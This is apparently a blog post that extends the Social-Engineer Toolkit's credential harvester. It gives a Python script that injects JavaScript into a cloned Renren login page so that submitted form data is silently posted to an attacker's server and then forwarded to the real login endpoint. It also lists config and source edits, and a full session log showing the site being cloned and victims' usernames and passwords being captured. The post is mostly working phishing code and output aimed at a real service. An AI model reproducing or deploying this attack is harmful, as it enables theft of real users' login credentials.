修改了一下脚步ModifyForm.py:
#!/usr/bin/python # Filename: ModifyForm.py import sys import os from pyquery import PyQuery as pq from src.core.setcore import * def ModifyForm(htmlPath, url): if not os.path.isfile(htmlPath): print "%s is not a file" % htmlPath return js = """ <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script> <script type="text/javascript"> function post_to_url(index) { $.ajax({ url:"%s", type:"post", data:$("form").eq(index).serialize(), async:false }); } </script> """ % url d = pq(filename=htmlPath, parser='html') node = d('meta[http-equiv="Content-Type"]') contentType = node.attr("http-equiv") content = node.attr("content") meta = '<meta http-equiv="%s" content="%s" />' % (contentType, content) login_action_url = check_config("LOGIN_ACTION") forms = d('form') for i in range(0, len(forms)): onsubmit = forms.eq(i).attr("onsubmit") if onsubmit: onsubmitValue = "post_to_url(%d); %s" % (i, onsubmit) else: onsubmitValue = "post_to_url(%d);" % i forms.eq(i).attr("onsubmit", onsubmitValue) action = forms.eq(i).attr("action") if not action: forms.eq(i).attr("action", login_action_url) submits = d('input[type="submit"]') for i in range(0, len(submits)): onclick = submits.eq(i).attr("onclick") if not onclick: onclickValue = "document.forms[%d].submit();" % i submits.eq(i).attr("onclick", onclickValue) html = d.outerHtml().encode('utf-8') htmlArr = html.split("<head>") newHtml = htmlArr[0] + "<head>" + meta + htmlArr[1]; htmlArr = newHtml.split("</title>") newHtml2 = htmlArr[0] + "</title>" + js + htmlArr[1]; f = file(htmlPath, 'w') f.write(newHtml2) f.close() print "Modified successfully" if __name__ == '__main__': if len(sys.argv) < 3: print "Usage: htmlPath url" else: ModifyForm(sys.argv[1], sys.argv[2])
把
self.wfile.write('<html><head><meta HTTP-EQUIV="REFRESH" content="0; url=%s"></head></html>' % (RAW_URL))
scraper.py:
把最后那几行,从
if os.path.isfile(setdir + "/web_clone/index.html.new"):开始,都注释掉。
还要在配置文件set_config里增加一个配置项:
LOGIN_ACTION=http://www.renren.com/PLogin.do
SET输出:
root@bt:/pentest/exploits/set# ./set .M"""bgd `7MM"""YMM MMP""MM""YMM ,MI "Y MM `7 P' MM `7 `MMb. MM d MM `YMMNq. MMmmMM MM . `MM MM Y , MM Mb dM MM ,M MM P"Ybmmd" .JMMmmmmMMM .JMML. [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Development Team: JR DePre (pr1me) [---] [---] Development Team: Joey Furr (j0fer) [---] [---] Development Team: Thomas Werth [---] [---] Development Team: Garland [---] [---] Version: 3.6 [---] [---] Codename: 'MMMMhhhhmmmmmmmmm' [---] [---] Report bugs: [email protected] [---] [---] Follow me on Twitter: dave_rel1k [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). Your one stop shop for all of your social-engineering needs.. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu: 1) Social-Engineering Attacks 2) Fast-Track Penetration Testing 3) Third Party Modules 4) Update the Metasploit Framework 5) Update the Social-Engineer Toolkit 6) Update SET configuration 7) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set> 1 ________________________ __ ___/__ ____/__ __/ _____ \__ __/ __ / ____/ /_ /___ _ / /____/ /_____/ /_/ [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Development Team: JR DePre (pr1me) [---] [---] Development Team: Joey Furr (j0fer) [---] [---] Development Team: Thomas Werth [---] [---] Development Team: Garland [---] [---] Version: 3.6 [---] [---] Codename: 'MMMMhhhhmmmmmmmmm' [---] [---] Report bugs: [email protected] [---] [---] Follow me on Twitter: dave_rel1k [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). Your one stop shop for all of your social-engineering needs.. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) SMS Spoofing Attack Vector 8) Wireless Access Point Attack Vector 9) QRCode Generator Attack Vector 10) Powershell Attack Vectors 11) Third Party Modules 99) Return back to the main menu. set> 2 The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Man Left in the Middle Attack method was introduced by Kos and utilizes HTTP REFERER's in order to intercept fields and harvest data from them. You need to have an already vulnerable site and in- corporate <script src="http://YOURIP/">. This could either be from a compromised site or through XSS. The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful. 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Man Left in the Middle Attack Method 6) Web Jacking Attack Method 7) Multi-Attack Web Method 8) Victim Web Profiler 9) Create or import a CodeSigning Certificate 99) Return to Main Menu set:webattack>3 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. 1) Web Templates 2) Site Cloner 3) Custom Import 99) Return to Webattack Menu set:webattack>2 [-] Credential harvester will allow you to utilize the clone capabilities within SET [-] to harvest credentials or parameters from a website as well as place them into a report [-] This option is used for what IP the server will POST to. [-] If you're using an external IP, use your external IP for this set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.11 [-] SET supports both HTTP and HTTPS [-] Example: http://www.thisisafakesite.com set:webattack> Enter the url to clone:www.renren.com [*] Cloning the website: http://www.renren.com [*] This could take a little bit... Modified successfully The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [!] I have read the above message. Press <return> to continue [*] Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: 192.168.1.142 - - [28/Apr/2013 05:15:18] "GET / HTTP/1.1" 200 - [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: [email protected] POSSIBLE PASSWORD FIELD FOUND: password=123_yang POSSIBLE USERNAME FIELD FOUND: autoLogin=true PARAM: icode= PARAM: origURL=http://www.renren.com/home PARAM: domain=renren.com PARAM: key_id=1 POSSIBLE USERNAME FIELD FOUND: captcha_type=web_login [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. 192.168.1.142 - - [28/Apr/2013 05:15:59] "GET / HTTP/1.1" 200 - 192.168.1.142 - - [28/Apr/2013 05:16:09] "GET / HTTP/1.1" 200 - [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: [email protected] POSSIBLE PASSWORD FIELD FOUND: password=123yang POSSIBLE USERNAME FIELD FOUND: autoLogin=true PARAM: icode= PARAM: origURL=http://www.renren.com/home PARAM: domain=renren.com PARAM: key_id=1 POSSIBLE USERNAME FIELD FOUND: captcha_type=web_login [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.